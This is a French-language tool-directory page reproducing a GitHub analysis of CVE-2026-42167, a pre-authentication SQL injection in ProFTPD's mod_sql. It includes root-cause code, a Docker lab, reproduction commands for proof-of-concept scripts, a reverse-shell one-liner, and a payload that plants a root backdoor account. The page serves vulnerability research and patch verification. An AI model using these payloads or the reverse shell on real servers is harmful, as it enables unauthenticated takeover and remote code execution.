Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
proftpd-CVE-2026-42167-analysis — Reproduction indépendante, analyse de cause racine au niveau du code et rapport d'exposition réaliste pour CVE-2026-42167 (contournement de is_escaped_text() dans mod_sql de ProFTPD). | Kitploit
Outils/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et Éducation
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

Reproduction indépendante, analyse de cause racine au niveau du code et rapport d'exposition réaliste pour CVE-2026-42167 (contournement de is_escaped_text() dans mod_sql de ProFTPD).

Voir le dépôt
3110il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-42167 — Injection SQL / Contournement d'authentification / RCE dans ProFTPD mod_sql

Reproduction indépendante, analyse détaillée de la cause racine au niveau du code, et analyse franche de l'exposition pour CVE-2026-42167 — le contournement de is_escaped_text() dans le pipeline de journalisation mod_sql de ProFTPD, divulgué par ZeroPath Research et corrigé dans ProFTPD 1.3.9a / 1.3.10rc1.

Construit et vérifié de bout en bout dans Docker sur macOS / Apple Silicon, le 2026-04-29.

TL;DR — voir Conclusion pour une image réaliste de l'exposition avant de décider à quel point s'inquiéter. Ce n'est pas un bug d'installation par défaut, mais le modèle de citation dangereux est le modèle que la documentation officielle vous dit d'utiliser, donc une grande partie des déploiements mod_sql en héritent.

ChampValeur
CVECVE-2026-42167
CWECWE-89 (Injection SQL), CWE-78 (Injection de commandes OS — via PG COPY TO PROGRAM)
AffectéProFTPD ≤ 1.3.9 avec mod_sql + SQLLog/SQLNamedQuery dont la chaîne de format interpole une variable contrôlée par l'attaquant entre guillemets simples
Corrigé dans1.3.9a (af90843ba…) / 1.3.10rc1, voir le commit e6f728481 ("Issue #2052")
Commit vulnérable épingléae25959adb05ae1d6ebfa1f36bf778c9c34e9410
Fichier vulnérablecontrib/mod_sql.c lignes 741–758 (is_escaped_text) et ligne 777 (sql_resolved_append_text)
Divulgation originalehttps://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
PoC publichttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
Notes de versionhttp://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. Cause racine — heuristique is_escaped_text() dans contrib/mod_sql.c

mod_sql résout les variables de format de journalisation (%U, %{basename}, etc.) et ajoute chaque élément dans le SQL rendu via sql_resolved_append_text(). Pour préserver la compatibilité ascendante avec les configurations admin qui enveloppent déjà les variables dans '…', la fonction appelle is_escaped_text() pour décider si sql_escapestring est nécessaire :```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

Le contrôle est purement structurel — il ne peut pas distinguer *« déjà échappé par
un code de confiance »* de *« conçu par un attaquant pour sembler déjà échappé ».*
Toute valeur fournie par le client correspondant à `'<no-internal-quotes>'` contourne
`sql_escapestring` et est concaténée brute dans la requête finale.

La configuration standard et documentée encapsule `%U` / `%{basename}` / `%m` entre guillemets simples :```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

Quand l'attaquant envoie USER '<payload>' (guillemet ouvrant et fermant, sans guillemets internes), le résolveur substitue %U sans échappement, produisant ''<payload>'' dans le SQL — les littéraux de chaîne vides ferment les guillemets environnants et <payload> s'exécute comme SQL brut. Avec PostgreSQL (PQexec) et SQLite (sqlite3_exec), les requêtes empilées sont prises en charge, donc <payload> peut être n'importe quelle séquence d'instructions.

Comme SQLLog ERR_* se déclenche sur les connexions échouées et que %U est défini à partir de USER avant l'authentification, l'attaque est entièrement non authentifiée.

Le correctif (commit e6f728481, "Issue #2052")

sql_resolved_append_text() gagne un paramètre already_escaped. Les appelants qui résolvent des valeurs provenant de l'entrée client passent FALSE et passent désormais par sql_escapestring sans condition — l'heuristique is_escaped_text() est toujours appliquée pour le chemin légitime « la config contient une valeur pré-échappée » mais ne s'applique plus aux données contrôlées par l'attaquant.


2. Environnement de laboratoire```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

- Les deux conteneurs se lancent via `setup/docker-compose.yml`.
- `setup/proftpd.conf` active la configuration de journalisation vulnérable (voir §1).
- `setup/seed.sql` crée `users`, `groups`, `activity_log`, `xfer_log`,
  et `secrets`, ainsi qu'un unique utilisateur FTP légitime `ftpuser / ftppass`.

---

## 3. Reproduction — copier-coller

Prérequis : Docker Desktop, Python 3.10+, git. (`uv` est facultatif ; les
PoC n'utilisent que la bibliothèque standard.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

Les deux variantes interactives du dépôt en amont (preauth_user_rce.py, postauth_stor_rce.py) sont non modifiées et ouvrent un reverse shell basé sur un PTY. Elles utilisent la même primitive que la variante marqueur — il suffit de remplacer la commande shell par bash -i >& /dev/tcp/<host>/<port> 0>&1 et d'écouter sur <port> au préalable.


4. Les payloads, octet par octet

Backdoor pré-authentification (commande USER, %U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

Pourquoi cela fonctionne :
Télécharger l’outil